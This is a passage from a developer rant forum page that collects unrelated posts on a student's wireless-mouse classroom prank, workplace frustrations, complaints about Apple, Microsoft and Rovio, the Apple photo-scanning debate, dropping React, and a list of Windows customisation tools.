So naturally, I pack the crucifixion-worthy body of evidence up and walk it into the IT director's office. I show him the defect, and he turns sheet fucking white. He knows there's no recovering from it, and there's no way his shitstick service team can handle fixing it. Somewhere in his tiny little grinchly manager's heart he knew they'd caused it, and he was to blame for being a shit captain to the SS Failboat. He replies quietly, "You will never speak of this to anyone, fix this discretely." Straight up hitler's bunker meme rage.13 -
Tl;dr: owning and pranking other people with a wireless mouse is hacking and illegal.
Okay, so I wanted to fuck around with some people one day so I decide to bring a usb wireless mouse to my secondary school.
My first target was my science teacher (was a bitch). I got into class before everyone else and plugged in the small usb receiver then sat down and pretended as if nothing had happened. The lesson starts and here is where the fun begins. Her screen is projected onto a whiteboard so I could see what she was doing. Under the table I had my mouse and every time she tried clicking a dialogue, I would move the mouse ever so slightly so she would miss. After a couple of times, she started to get suspicious, maybe even slightly paranoid; my friend keked. I never got found out by that teacher.
Fast forward to next lesson: I already planted the receiver in my next victims pc. The victim was a bitch I hated so much at the time. She would used to bully me to an extent and was a loud noisy bitch. I really didn't like the person. I digress. When the time was right, I went to her folder, highlighted all her files, right click, hover over delete. But I wasn't so shallow to delete her stuff. That's not the person I am. I guess it was more of a threat really. But the teacher saw what was going on and she saw my wireless mouse and connected 2 and 2 together. She called the behaviour people, removed the reciever and the mouse from me.
Within a few minutes, I was in a room on my own talking to this woman talking about how hacking is bad/illegal and she knows I'm into it etc. But I wasn't hacking? I did no damage and was pulling a prank. Bitch didn't listen to me. She made me sign this document which said that if I fuck around with computers, I could be expelled and I won't be allowed to use to computers again or use them with many restrictions.
I didn't really care. To this day, I still don't have my mouse back. :(7 -
> Root struggles with her ticket
> Boss struggles too
> Also: random thoughts about this job
I've been sick lately, and it's the kind of sick where I'm exhausted all day, every day (infuriatingly, except at night). While tired, I can't think, so I can't really work, but I'm during my probationary period at work, so I've still been doing my best -- which, honestly, is pretty shit right now.
My current project involves legal agreements, and changing agent authorization methods (written, telephone recording, or letting the user click a link). Each of these, and depending on the type of transaction, requires a different legal agreement. And the logic and structure surrounding these is intricate and confusing to follow. I've been struggling through this and the project's ever-expanding scope for weeks, and specifically the agreements logic for the past few days. I've felt embarrassed and guilty for making so little progress, and that (and a bunch of other things) are making me depressed.
Today, I finally gave up and asked my boss for help. We had an hour and a half call where we worked through it together (at 6pm...). Despite having written quite a bit of the code and tests, he was often saying things like "How is this not working? This doesn't make any sense." So I don't feel quite so bad now.
I knew the code was complex and sprawling and unintuitive, but seeing one of its authors struggling too was really cathartic.
On an unrelated note, I asked the most senior dev (a Macintosh Lisa dev) why everything was using strings instead of symbols (in Rails) since symbols are much faster. That got him looking into the benchmarks, and he found that symbols are about twice as fast (for his minimal test, anyway), and he suggested we switch to those. His word is gold; mine is ignorable. kind of annoying. but anyway, he further went into optimizing the lookup of a giant array of strings, and discovered bsearch. (it's a divide-and-conquer lookup). and here I am wondering why they didn't implement it that way to begin with. 🙄
I don't think I'm learning much here, except how to work with a "mature" codebase. To take a page from @Rutee07, I think "mature" here means the same as in porn: not something you ever want ot see or think about.
I mean, I'm learning other things, too, like how to delegate methods from one model to another, but I have yet to see why you would want to. Every use of it I've explored thus far has just complicated things, like delegating methods on a child of a 1:n relation to the parent. Which child? How does that work? No bloody clue! but it does, somehow, after I copy/pasted a bunch of esoteric legacy bs and fussed with it enough.
I feel like once I get a good grasp of the various payment wrappers, verification/anti-fraud integration, and per-business fraud rules I'll have learned most of what they can offer. Specifically those because I had written a baby version of them at a previous job (Hell), and was trying to architect exactly what this company already has built.
I like a few things about this company. I like my boss. I like the remote work. I like the code reviews. I like the pay. I like the office and some socializing twice a year.
But I don't like the codebase. at all. and I don't have any friends here. My boss is friendly, but he's not a friend. I feel like my last boss (both bosses) were, or could have been if I was more social. But here? I feel alone. I'm assigned work, and my boss is friendly when talking about work, but that's all he's there for. Out of the two female devs I work with, one basically just ignores me, and the other only ever talks about work in ways I can barely understand, and she's a little pushy, and just... really irritating. The "senior" devs (in quotes because they're honestly not amazing) just don't have time, which i understand. but at the same time... i don't have *anyone* to talk to. It really sucks.
I'm not happy here.
I miss my last job.
But the reason I left that one is because this job allows me to move and work remotely. I got a counter-offer from them exactly matching my current job, sans the code reviews. but we haven't moved yet. and if I leave and go back there without having moved, it'll look like i just abandoned them. and that's the last thing I want them to think.
So, I'm stuck here for awhile.
not that it's a bad thing, but i'm feeling overwhelmed and stressed. and it's just not a good fit. but maybe I'll actually start learning things. and I suppose that's also why I took the job.
So, ever onward, I guess.
It would just be nice if I could take some of the happy along with me.7 -
So here I am... thinking to myself how does this kid not know about the shift key?
Me: "Ok we're going to test see if you have sudo access. Please enter your password, now"
Student: ~stares at the black terminal box and begins pressing the caps lock key. The light doesn't display~
Student: "Um... what? Do I need to enter a new password?"
Me: "No"
Continues to click the caps-lock button and waiting for a light to appear on the keyboard. It doesn't. He continues clicking.
Me: "You need to press the shift button"
Him: "What???"
Me: "You need to press the shift button"
Him: "Um.. I don't understand"
Him: Presses shift button, nothing happens. Goes back to pressing caps lock button.
Me: "Your password has a capital letter in it right?"
Him: "Um... yeah."
Me: "Press the shift button to capitalize your letters."
Him: "I don't understand... Do I need to enter a new password?"
Me: "No... you need to press and hold the shift key to get a capital letter"
Him: "................................ ............................................ . . . . . .. .. .. .. .. .. . . . . . . . . . . . . ...................... . . . . . . . Oh..."
Him: "Presses and holds the shift button with his thumb and then presses the Z key."
Me: ~What in the hell are you doing?~ 🤦
Me: "Perfect it looks like you are a part of the sudoers list."
Me: "You can take you computer back."
Me: ~Do you fucking use the caps lock key to capitalize all the first letters in your sentences? Please tell me you don't!~13 -
Holy shit, I never thought I would see the day that Microsoft makes me even more disappointed, but this is a NEW low.
The windows 11 email client is being deprecated, and they automatically "upgrade" you to the new outlook.
THERE'S ADS. THERE'S ADVERTISEMENTS IN OUTLOOK. WHAT THE FUCK. IF YOU CLICK THIS, IT JUST OPENS THE AD IN A BROWSER. IT'S IN MY EMAIL LIST, THEY ARE ACTIVELY TRYING TO TRICK YOU INTO CLICKING IT.
This is crappy free Chinese mobile game ad level of scummy. I never fucking thought they would honestly stoop so low as to make misleading ads a default part of their operating system. But here it is, in an app installed by default, developed in-house by Microsoft. Actually astounding and appalling.
34 -
TL;DR: Fuck you Apple.
10:30 PM, parent needs iPhone update to update Messenger. How hard can this be?
Need to update iPhone from 9.x to latest, which is so outdated it still required iTunes. Fk.
Boot iTunes on Windows 10 pc that is at least 10 years old.
Completely unresponsive
Crash in task manager
Launch and is completely unresponsive. (Also starts playing unrequested music.. Oh joy..)
Fuck this, go to apple.com to download iTunes exe
Gives me some Microsoft store link. Fuck that shit, just give me the executable
Google “iTunes download”. click around on shitty Apple website. Success.
Control panel. Uninstall iTunes. (Takes forever, but it works)
Restart required (of fucking course).
2 eternities later. Run iTunes exe. Restart required. Fk.
Only 1 eternity later. Run iTunes, connect iPhone.
Actually detects the device. (holy shit, a miracle)
Starts syncing an empty library to the phone. Ya, fuck that.
Google. Disable option. Connect phone. Find option to update.
Update started. Going nowhere fast. Time for a walk at 1:00 AM punching the air.
Come back. Generic error message: Update failed (-1). Phone is stuck installing update. (O shit)
1x hard reset
2x hard reset
Google. Find Apple forum with exact question. Absolutely useless replies. (I expected no less)
Google recovery mode. Get into recovery mode.
Receive message: “You can update, but if it fails, you will have to reset to factory settings”. Fuck it, here we go.
Update runs (faster this time). Fails again. Same bullshit error message. (Goddammit, fuck. This might actually be bad.)
Disconnect phone.
… It boots latest iOS version. (holy shit, there is a god)
Immediately kill iTunes. Fuck that shit.
Parents share Apple account
Sign in, 2FA required.
Fat finger the code.
Restart “welcome” process.
Will not send code. What. The. Fuck.
Requests access code on other parent’s iPhone.
No code present. What???
Try restarting welcome process again. No dice. (Of course)
Set code on other parent’s iPhone.
Get message “Code is easy to guess”. Ya. IDGAF
Use code on newly updated iPhone. Some success.
Requires reset of password.
Password cannot be the same as old password (Goddammit)
Change password.
Welcome process done.
Sign in again on same phone after welcome process done in settings. (Nice.)
Sign in again on other phone with updated password
Update Messenger.
Update hangs. Needs more space.
Delete shit.
Update frozen in App Store (Really??)
Restart iPhone.
Update Messenger.
Update complete past 2. Well that was easy.
Apple, fuck you.
Some call Android unintuitive, but I look at the settings app on iPhone and realize you aren’t any better.
This company hasn’t been innovative since 2007. Over 1000 USD for a phone? Are you fucking kidding me?
Updating an iPhone from iOS 9.x is probably uncommon anymore. But this is a fucking joke. Fix your shit.
Shit like this is why I’ll never again own an Apple product. I have HAD IT with the joke of a business.
Thanks for reading.17 -
*project manager + designer are showing new designs*
PM: so, can we get some estimates?
Devs (literally all of us): do we have a mockup for this interaction?
Designer: no.
Devs: What about that one?
Designer: not yet.
Devs: What happens when you click here? Hover there? How does this look if I select that option + this option at the same time? Does it make sense that a user can select *this* option with *that* option? They're kind of mutually exclusive.
PM: Well...
BTW: code freeze is in two weeks...4 -
Rovio, the company behind Angry Birds, are scumbags.
When you progress to a certain level, they offer you a cool new thing — to hatch an egg. You click “hatch”, and then you have to wait 24 hours. This builds excitement — after all, it looks like an amazing new mode, and you can't wait to see what it is.
The reality is, you hatch this beautiful little creature. From here on, you have to FEED it regularly, or it will die. They drew it the cutest way possible. How should a child resist feeding this cutie? When I hatched it, I didn't know what this new mechanic was, and I assume new players don't know either.
You feed it apples. You can find apples on certain levels, but they are scarce. The further you go, the more apples are required to keep him alive. Play the game actively to keep up with it and get apples! Or, you could just… I don't know… BUY them.
“Mom, I need $11.99 to feed Fluffy, otherwise it will die!”
A straight-up scumbag fucking mechanic in a game targeted to impressionable children that will have a hard time seeing this tiny beautiful creature die of starvation. Let's guilt-trip kids into asking money from their parents!
52 -
Decide to open torrent web site from your smartphone.
*popup: your phone is hacked, click here to scan
*popup: you are the 1000th visitor, you win a gift
*popup: see hot pictures
*popup: Hello [somebrand] phone user, click here for tips.
Shit, why I came here in the first place??5 -
Easy 50$... (l)user brings in a tablet and says she’s got a virus.... okay.
(L)user - “I have a virus, I can’t click on anything and there’s a green box around everything.”
Me - *turns off TalkBack* here you go, all fixed.12 -
I'm the only windows user in my office(my only other choice was Mac). One of the salesmen walks in my office with his macbook.
salesman: what do you know about macs?
me: nothing, why?
salesman: well I just got a new MacBook and I can't right-click, is there like a setting or something I gotta click?
me: well there's no "right-click" by default on Macs, but I think there's a way so you can click with the right side of the touchpad and get the "command-click" you're looking for. stand over there quietly while I finish this function then I'll look into it.
*i proceed to fiddle with some code for 5 or so minutes while he stands in the corner*
me: ok so let's look at your MacBook... ok *at this point I jump on my computer* let's see what Google has to say.
search: enable right-click on mac
me: huh! look at that! Google gives you the answer right there, poof! like magic. now we just follow directions, system settings>keyboard and touchpad>enable click with bottom right corner. bam! anything else?
salesman: yeah, I want the little bar thing to go away *talking about the dock auto-hide
me: ok well that's called the dock, let's ask Google again...look, Google gives the answer again, without even needing to click any links, I could probably click these links and get more in-depth instructions, but right here at the top is the answer
salesman: wow man, thanks! I've got a meeting in 10 minutes and I never would have figured this out.
*before he leaves
me: here take this...
4 -
Came to work and there ware my boss and CEO waiting there next to my place.
"Hey, you remember that you mentioned yesterday that you had a break through and the thing is finally starting to do something? We have few journalist downstairs can we show them a demo in like five minutes?"
"Ok, give me five minutes and don't click here and there otherwise it blows up."
My boss came back from presentation after ten minutes that it doesn't work, after little investigation turns out to be hw issue, replaced hardware went to the conference room and it worked.
Crazy deadlines? No, just another day at work. -
6 months ago:
Boss: We have this idea to improve our onboarding to avoid drop off in the new app. See this section here? Were going to take that out of the onboarding and just let them pass straight through to the app. Then when they get into the app, there will be a banner telling them they should go to settings and set this up. That way they can ignore it for a while and get into the app sooner
Me: Get into the app sooner to do what?
Boss: Explore it
Me: Explore an empty app with no content, as they are a brand new user with nothing setup? While theres a big banner on the screen saying "You have insecure settings" ... basically forcing them to do it straight away anyway?
Boss: Yeah, we can give them some recommendations or something while they click around. It will be good. This is months away anyway, we'll talk again
Yesterday:
Boss: So this weird unexpected thing happened. We showed some beta users our plans to remove this section from onboarding and they felt weird about it. They said they didn't like the idea of the banner telling them they haven't set it up correctly
Me: Thats not weird, I said the same thing 6 months ago
Boss: ......... oh, really?
Me: Yep. Its not an improvement to get them through onboarding quicker, just to tell them they have to now go do it somewhere else
Boss: ... right. Ok maybe we'll build it anyway and see how they feel with it in there hands?
Me: nope
Boss: ... what do you mean?
Me: We are behind, you've asked me 3 times in the last week if we are going to be able to get everything in on time ... and now you want me to build something that everyone, apart from you, says they don't like. So realistically, i'm going to build it, and then remove it next week ... and we'll have a discussion about what has to be dropped because of this
Boss: ........ right .... ok .... hhhmmm
Me: *sits with resting bitch face*
Boss: ... maybe we can hide the banner until later. Not show it to them until they've done something in the app?
Me: ... maybe we can not do any of this?
Boss: right but then the onboarding will ...
Me: *talks louder* ... yes will be the way our users want it to be
Boss: ... hhmm i'm not sure
Me: Ok heres what we'll do, so long as it doesn't delay me getting the designs I need, feel free to have the designer mock up what it would look like using that figma on device preview thing. If users say they like it, i'll build it
Boss: ... right but it won't be real on device app so ...
Me: Its that or we cut feature X
Boss: ... well we need that
Me: ok glad we agree, let me know what feedback the designer gets
Boss: ... ok10 -
First thing every developer should do when buying a new computer is to download chrome using the built in downloader
1. Just click on start menu
2. Search for "chrome downloader"
3. Click on the downloader icon
4. From here it should be easy :)
12 -
Fellow Dev: the clients are requesting a gallery on their website with functioning modals.
Me: okay cool
So for the record, I'm new to front-end and I've got quite a lot to learn in JavaScript.
*I googled as much as I could and I made a proper functioning gallery in 2 full days of coding*
Him: okay, so this is great but they aren't really digging it.
Me: *sigh* yes, so what do they want?
Him: have you seen how an image opens in Google images? Like you click on one, the image opens while the rest of the content shifts down?
Me: um... Yeah?
Him: yeah, so they want that.
Me: ... *Scoops the web trying to figure out how Google does it*. Dude, I can't find anything close to it and I've still got a lot to learn. Idk how to do it.
Him: well, you're being paid for that. So, you better do it.
Me: 1000Rs ( approx. 14.58$ ) isn't called "being paid". Gimme a break here.
Him: You're a novice rn.
Me: why don't you do it?
Him: I'm your boss.
*Sigh* (he indeed is my boss)
Him: deal with it.
Me: FU........C.....*suddenly I realized how it's done* OH OH OH OH I just got it, I just got it!
(I actually make something like that)
*Lol yay*
That's just my best story of a fight. Lol.5 -
My code review nightmare part 2
Team responsible for code 'quality' dictated in their 18+ page coding standard document that all the references in the 'using' block be sorted alphabetically. Easy enough in Visual Studio with the right-click -> 'Remove and Sort Usings', so I thought.
Called into a conference room with other devs and the area manager (because 'Toby' needed an audience) focusing on my lack of code quality and not adhering to the coding standard.
The numerous files in question were unit tests files
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System.Collections.Generic;
using System.Linq;
<the rest of the usings>
T: "As you can see, none of these files' usings are in alphabetical order"
Me: "Um, I think they are. M comes before S"
T: "The standards clearly dictate system level references are to be sorted first."
Mgr: "Yes, why didn't you sort before checking this code in? T couldn't have made the standards any easier to follow. All you had to do is right-click and sort."
Me: "I did. M comes before S."
T: "No You Didn't! That is not a system reference!"
Me: "I disagree. MSTest references are considered a system level reference, but whatever, I'll move that one line if it upsets you that much."
Mgr: "OK smartass, that's enough disrespect. Just follow the fucking standard."
T: "And learn to sort. It's easy. You should have learned that in college"
<Mgr and T have a laugh>
Me: "Are all your unit tests up to standard? I mean, are the usings sorted correctly?"
T:"Um..well..of course they are!"
Me: "Lets take a look."
I had no idea, a sorted usings seems like a detail no one cares about that much and something people do when bored. I navigate to project I knew T was working on and found nearly all the file's usings weren't sorted. I pick on one..
using NUnit;
using Microsoft.Something.Other;
using System;
<the rest of the usings>
Me: "These aren't sorted..."
T: "Uh..um...hey...this file is sorted. N comes before M!"
Me: "Say that again. A little louder please."
Mgr: "NUnit is a system level nuget package. It's fine. We're not wasting time fixing some bug in how Visual Studio sorts"
Me: "Bug? What?..wait...and having me update 10 or so files isn't a waste of time?"
Mgr: "No! Coding standards are never a waste of time! We're done here. This meeting is to review your code and not T's. Fix your bugs and re-submit the code for review..today!"17 -
Just watched sam and niko youtube channel’s latest video about a bug/feature in windows when you do this:
1. Create a new folder
2. Put a file or two or more inside it
3. Select all those files
4. Right click and send to compressed (zip)
5. Press ctrl+z
6. That folder and its contents disappears to another dimension
🤯
Here is the video link btw https://youtu.be/YY5zfbDlSMs1 -
There are cybercrimes. That means you can be put to jail for performing certain actions with your computer. I’m taking about serious crimes like hacking crucial governmental servers but not about insulting people online. I’m talking about something that’ll make government chase you.
Every action at the computer could be done with keyboard only.
My face when there is finite sequence of keys that you press one by one and then become a criminal. And go to jail.
My face when if you put that sequence into script file, there is file that you double-click and instantly become criminal.
Press here to go to jail. The whole new level of abstraction.
Really makes me think.7 -
Remember Apple's initiative to scan photos on user's devices to find child pornography?
Today I finally decided to research this.
The evidence is conflicting.
For context, the database of prohibited material is called CSAM (child sexual abuse material).
“If it finds any CSAM, it will report the user to law enforcement.”
— Futurism
“Apple said neither feature would compromise the security of private communications or notify police.”
— NPR
CSAM initiative is dead. It won't scan photos in iCloud. It won't scan photos on your device. It will be a feature that only works in some countries, only on children's devices, and it will be opt-in. It will only work for iMessage attachments.
This is what Apple actually said at https://www.apple.com/child-safety:
- “Features available in Australia, Belgium, Brazil, Canada, France, Germany, Italy, Japan, Netherlands, New Zealand, South Korea, Spain, Sweden, UK, and U.S.”
- “The Messages app includes tools to warn children when receiving or sending photos that contain nudity. These features are not enabled by default. If parents opt in, these warnings will be turned on for the child accounts in their Family Sharing plan.”
News outlets telling people they will be automatically reported to authorities, and then telling there can be false-positives is a classic example of fearmongering. I hate this. Remember, anger and fear are the most marketable emotions. They make you click. News are and will always be worded to cause these emotions — it brings in money.
When presented with good news, people think they're not being told the truth. When presented with bad news, even when they're made up, people think it's the truth that's being hidden from them. This is how news works.
Now, a HUGE but:
Apple is a multi-billion dollar corporation. There is no such thing as good billionaires. Corporations will always wait for chances to invade privacy. It's like boiling the frog — one tiny measure here, one there, and just like this, step by step, they will eliminate the privacy completely. It's in their interest to have all the data about you. It brings control.
This is not the first time Apple tries to do shit like this, and it definitely won't be the last. You have to keep an eye on your privacy. If you want your privacy in the digital age, it's necessary to fight back. If you live in Europe, take the action and vote for initiatives that oppose corporate tyranny and privacy invasions.
Privacy on the internet is one thing, but scanning people's devices is a whole another thing. This is unacceptable no matter the rationale behind it. Expect more measures like that in the near future.
Research Linux. Find a distro that suits you. The notion that you can't switch because of apps/UI/etc. may be dictated by our brain's tendency to conserve energy and avoid the change.
Take a look at mobile distros like Graphene OS and LineageOS. The former only supports Pixel devices, the latter supports a wide range of devices including OnePlus and Xiaomi. They'll have FAR better privacy than iPhones.
Consider switching. It's easier than you think. Yes, it's me who's saying this. I do and will always protect people/companies from unjust criticism, and I consider myself an Apple fangirl for personal reasons related to my childhood, yet I won't fight blindly. CSAM initiative is a valid criticism, and there's nothing preventing me from saying this is unacceptable, and Apple deserves the backlash they got.11 -
Project Cortana: Day 56
*What I liked*
Here is the rant where I described the project: https://devrant.io/rants/962190
Time for a review. The biggest advantage I have found was the productivity. Let me explain:
1. Cortana: It's useful as fuck if anyone is willing to use it all the time. It really helps to get reminders and notifications everywhere (PC, Laptop and Mobile).
2. Microsoft Launcher: An underrated gem due to the hate towards M$. Thanks to it's transparent theme, it looks absolutely gorgeous. The most useful part is the "Feed" where you get all your emails, recently edited documents, recently used apps or contacts all together. I was quite surprised to see the level of customization if offered considering it's M$.
3. M$ Office: I probably don't need to talk much about it, it's the most productive tool you can get. Outlook is fucking brilliant on mobile. Other office apps, while they are great on mobile, are probably more useful in tablets. And the "Focused Inbox" is the best thing happened to outlook.
4. M$ To-Do: Holy fuck, this is sick. I know that there is many alternative with more features. But this app is the perfect example of a todo app. Simple, has the exact right features and has a really smooth, beautiful UI. This really helped me to be productive.
5. OneDrive: Didn't find much difference compared to Google Drive.
6. People: Something that I discovered later and found it really useful. You can pin contacts in the taskbar and see emails, calender items associated with that contact in one click. Found it really useful considering I was chatting with my Supervisor and lectures quite frequently.
7. Windows Mail App: While I really like it, I have mixed feeling about it. I would really love to have HTML signature. Not sure why M$ is not implementing it. But the "Share" in the Context Menu is really useful while sending attachements.
Finally, the "Fluid Design" so far is beautiful. Loving the effects.
I will write what I didn't like in the next rant.14 -
Best part about the covid19 manufactured crisis?
Liquor stores deliver. Worst part about liquor stores delivering? Needing to use their shoddy websites.
I've been using a particular store (Total Wines) since they're cheaper than the rest and have better selection; it's quite literally a large warehouse made to look like a store.
Their website tries really hard to look professional, too, but it's just not. It took me two days to order, and not just from lack of time -- though from working 14 hour days, that's a factor.
Signing up was difficult. Your username is an email address, but you can't use comments because the server 500s, making the ajax call produce a wonderfully ambiguous error message. It also fades the page out like it's waiting on something, but that fade is on top of the error modal too. Similar error with the password field, though I don't remember how I triggered it.
Signing up also requires agreeing to subscribe to their newsletter. it's technically an opt-in, but not opting-in doesn't allow you to proceed. Same with opting-in to receiving a text notification when your order is ready for pickup -- you also opt-in to reciving SMS spam.
Another issue: After signing up, you start to navigate through the paginated product list. Every page change scrolls you to the exact middle of the next page. Not deliberatly; the UI loads first, and the browser gets as close as it can to your previous position -- which was below that as the pagination is at the bottom -- and then the products populate after. But regardless of why, there is no worse place to start because now you must scroll in both directions to view the products. If it stayed at the very bottom, it would at least mean you only need to scroll upwards to look at everything on the page. Minor, but increasingly irritating.
Also, they have like 198 pages of spirits alone because each size is unique entry. A 50ml, 350ml, 500ml, 750ml, 1000ml, and 1750ml bottle of e.g. Tito's vodka isn't one product, it's six. and they're sorted seemingly randomly. I think it's by available stock, looking back.
If you fancy a product, you can click on it for a detail page. Said detail page lists the various sizes in a dropdown, but they're not sorted correctly either, and changing sizes triggers a page reload, which leads to another problem:
if you navigate to more than a few pages within a 10 or so second window, the site accuses you of using browser automation. No captcha here, just a "click me for five seconds" button. However, it (usually) also triggers the check on every other tab you have open after its next nagivation.
That product page also randomly doesn't work. I haven't narrowed it down, but it will randomly decide to start failing, and won't stop failing for hours. It renders the page just fine, then immediately replaces it with a blank page. When it's failing, the only way to interact with the page is a perfectly-timed [esc], which can (and usually does) break all other page functionality, too. Absolutely great when you need to re-add everything from a stale copy of your signed-out cart living in another tab. More on that later. And don't forget to slow down to bypass the "browser automation" check, too!
Oh, and if you're using container tabs, make sure to open new tabs in the SAME container, as any request from the same IP without the login cookie will usually trigger that "browser automation" response, too.
The site also randomly signs you out, but allows you to continue amassing your cart. You'd think this is a good thing until you choose to sign in again... which empties your cart. It's like they don't want to make a sale at all.
The site also randomly forgets your name, replacing it with "null." My screen currently says "Hello, null". Hello, cruft!
It took me two days to order.
Mostly from lack of time, as i've been pulling 14 hour shifts lately trying to get everything done. but the sheer number of bugs certainly wasted most of what little time i had left. Now I definitely need a drink.
But maybe putting up with all of this is worthwhile because of their loyalty program? Apparently if you spend $500, you can take $5 off your next purchase! Yay! 1%! And your points expire! There are three levels; maybe it gets better. Level zero is for everyone; $0 requirement. There are also levels at $500 and $2500. That last one is seriously 5x more than the first paid level. and what does it earn you? A 'free' magazine subscription, 'free' classes (they're usually like $20-$50 iirc), and a 'free' grab bag (a $2.99 value!) twice per month. All for spending $2500. What a steal. It reminds me of Candy Crush's 3-star system where the first two stars are trivial, and the third is usually a difficult stretch goal. But here it's just thinly-veiled manipulation with no benefit.
I can tell they're employing some "smarketing" people with big ideas (read: stolen mistakes), but it's just such a fail.
The whole thing is a fail.8 -
Near the end of a massive (1,000 user bridgeline) conference call today:
[ P = presenter, RCn = random caller n ]
P: ...so, does anyone have any other questions they'd like to---
RC1: Hey! Yeah, I'm still on this STUPID call right now... I dunno, we've been in here for like 30 minutes already - The guy came by the house to talk about it, but I couldn't get off this STUPID call - I think they said it would be around 800 dollars...
[ P, RC1, RC2, RC3, RC4 all overlapping ]
P: Um, we can hear you-
RC2: Dude, mute your phone!
RC3: As the presenter, you can mute that guy from the web UI-
P: Yeah, I can't find him in the attendee list; it's so long-
RC3: -Right-click on his name and select "mute line"-
P: I know how, but I can't find him on the list.
RC3: Find him on the attendance list on the right side-
P: [ louder and louder ] Yes, I know - but I can't find him in the list-
RC4: Should someone call an operator?
RC1: -so I figured we'll probably need to call Jerry and see what he says. I'll call him if I can ever get off this ridiculous, STUPID call - They are all talking at once on there now and no one can understand anything!
[ This went on for about 5 solid minutes, finally ending with... ]
RC1: I'm just going to drop this STUPID call and call Jerry for us. This thing was a total waste of time. [ boop-beep ]
[ long pause ]
P: OK, so now that is over, does anyone have any questions they'd like to discuss?
[ At least 10 people un-mute and overlap questions ]
#ConferenceCallProblems
Above everything else, the funniest part to me was his repeated, over-the-top insistence on how "STUPID" the call was.
#TellUsHowYouReallyFeel1 -
It was when I ditched React. I replaced it with raw JavaScript, with frontend being built with Gulp and Twig (just because HTML has no includes). Here are the results:
1. Previously, a production frontend build took 1.5 minutes. Build time became so fast that after I push the code, the build was done before me going to Netlify to check build status. I go there, and it’s almost always already done.
2. In a gallery with a lot of cards, with every card opening a modal, the number of listeners was reduced from N to one. With React, I needed 1000 listeners for 1000 cards. With raw JavaScript, I needed just one click listener with checking event target to handle all of the cards.
3. Page load time and time-to-interactive was reduced from seconds to milliseconds.
4. Lighthouse rating became 100 for desktop and 93 for mobile.
But there is one more thing that is way better than all of the above: cognitive complexity.
Tasks that took days now take hours. Tasks that took hours now take minutes.
Tasks that took thousands of lines now take hundreds. Tasks that took hundreds of lines now take tens.
In real business apps, it is common to build features and then realize it’s not needed and should be discarded. Business is volatile, just because the real world is volatile too. With this kind of cost reduction per feature, it became way less painful to discard them. Throwing out something you spent time and emotional resource on doesn’t feel good. But with features taking minutes to build, it became easier.23 -
Download hack.
The button that looks the most like a download button would, isn't the correct download button.3 -
Alright, I've already ranted about this but I feel like that was rather incomplete.. there's some other things that make me want to kill myself every time I enter <!DOCT- WHERE IS THAT FUCKING KNIFE?!!!
First one I've mentioned earlier is its <repetitiveness></repetitiveness>. What was wrong with {brackets}? If only HTML was more like CSS.
But there's some other ones as well.
- Frameworks! Ain't there nothing like a good dozen resources that every single one of your web pages wants to get JS from.
- Quantity over quality. Let's just publish early with tonnes of bugs, move fast and break things, amirite 🤪
- General noobness of apprentice web devs. Now I'm not talking about the real front-end devs here - AlexDeLarge was one of them.. forever holding a special place in my heart - that know how to properly use their tools. But there's a metric shitton of people who think that being able to write <html><body>Hello world!</body></html> makes them a dev.
- The general thought of "it's slow? Slap in more hardware." Now this is a general issue with software development, optimization costs valuable resources while leaving it in a shitty state but released quickly costs pretty much nothing. A friend of mine whose post I'll attach in the image section illustrates this pretty well. You can find it at https://facebook.com/10000171480431....
I'm not sure if this is an exhaustive list, but those are the most important things that irritate me about web development in general.
On a side note, apparently 113 people visited my hiddenbio.html page.. I'm genuinely impressed! I had no idea that so many people on devRant would click through. On Facebook pages this has been an ongoing significant issue of getting people to leave the platform - it's huge but engagement on off-Facebook links is terrible. I guess that I'm dealing with an entirely different community here. And I'm pleasantly surprised actually!
11 -
Okay guys, this is it!
Today was my final day at my current employer. I am on vacation next week, and will return to my previous employer on January the 2nd.
So I am going back to full time C/C++ coding on Linux. My machines will, once again, all have Gentoo Linux on them, while the servers run Debian. (Or Devuan if I can help it.)
----------------------------------------------------------------
So what have I learned in my 15 months stint as a C++ Qt5 developer on Windows 10 using Visual Studio 2017?
1. VS2017 is the best ever.
Although I am a Linux guy, I have owned all Visual C++/Studio versions since Visual C++ 6 (1999) - if only to use for cross-platform projects in a Windows VM.
2. I love Qt5, even on Windows!
And QtDesigner is a far better tool than I thought. On Linux I rarely had to design GUIs, so I was happily surprised.
3. GUI apps are always inferior to CLI.
Whenever a collegue of mine and me had worked on the same parts in the same libraries, and hit the inevitable merge conflict resolving session, we played a game: Who would push first? Him, with TortoiseGit and BeyondCompare? Or me, with MinTTY and kdiff3?
Surprise! I always won! 😁
4. Only shortly into Application Development for Windows with Visual Studio, I started to miss the fun it is to code on Linux for Linux.
No matter how much I like VS2017, I really miss Code::Blocks!
5. Big software suites (2,792 files) are interesting, but I prefer libraries and frameworks to work on.
----------------------------------------------------------------
For future reference, I'll answer a possible question I may have in the future about Windows 10: What did I use to mod/pimp it?
1. 7+ Taskbar Tweaker
https://rammichael.com/7-taskbar-tw...
2. AeroGlass
http://www.glass8.eu/
3. Classic Start (Now: Open-Shell-Menu)
https://github.com/Open-Shell/...
4. f.lux
https://justgetflux.com/
5. ImDisk
https://sourceforge.net/projects/...
6. Kate
Enhanced text editor I like a lot more than notepad++. Aaaand it has a "vim-mode". 👍
https://kate-editor.org/
7. kdiff3
Three way diff viewer, that can resolve most merge conflicts on its own. Its keyboard shortcuts (ctrl-1|2|3 ; ctrl-PgDn) let you fly through your files.
http://kdiff3.sourceforge.net/
8. Link Shell Extensions
Support hard links, symbolic links, junctions and much more right from the explorer via right-click-menu.
http://schinagl.priv.at/nt/...
9. Rainmeter
Neither as beautiful as Conky, nor as easy to configure or flexible. But it does its job.
https://www.rainmeter.net/
10 WinAeroTweaker
https://winaero.com/comment.php/...
Of course this wasn't everything. I also pimped Visual Studio quite heavily. Sam question from my future self: What did I do?
1 AStyle Extension
https://marketplace.visualstudio.com/...
2 Better Comments
Simple patche to make different comment styles look different. Like obsolete ones being showed striked through, or important ones in bold red and such stuff.
https://marketplace.visualstudio.com/...
3 CodeMaid
Open Source AddOn to clean up source code. Supports C#, C++, F#, VB, PHP, PowerShell, R, JSON, XAML, XML, ASP, HTML, CSS, LESS, SCSS, JavaScript and TypeScript.
http://www.codemaid.net/
4 Atomineer Pro Documentation
Alright, it is commercial. But there is not another tool that can keep doxygen style comments updated. Without this, you have to do it by hand.
https://www.atomineerutils.com/
5 Highlight all occurrences of selected word++
Select a word, and all similar get highlighted. VS could do this on its own, but is restricted to keywords.
https://marketplace.visualstudio.com/...
6 Hot Commands for Visual Studio
https://marketplace.visualstudio.com/...
7 Viasfora
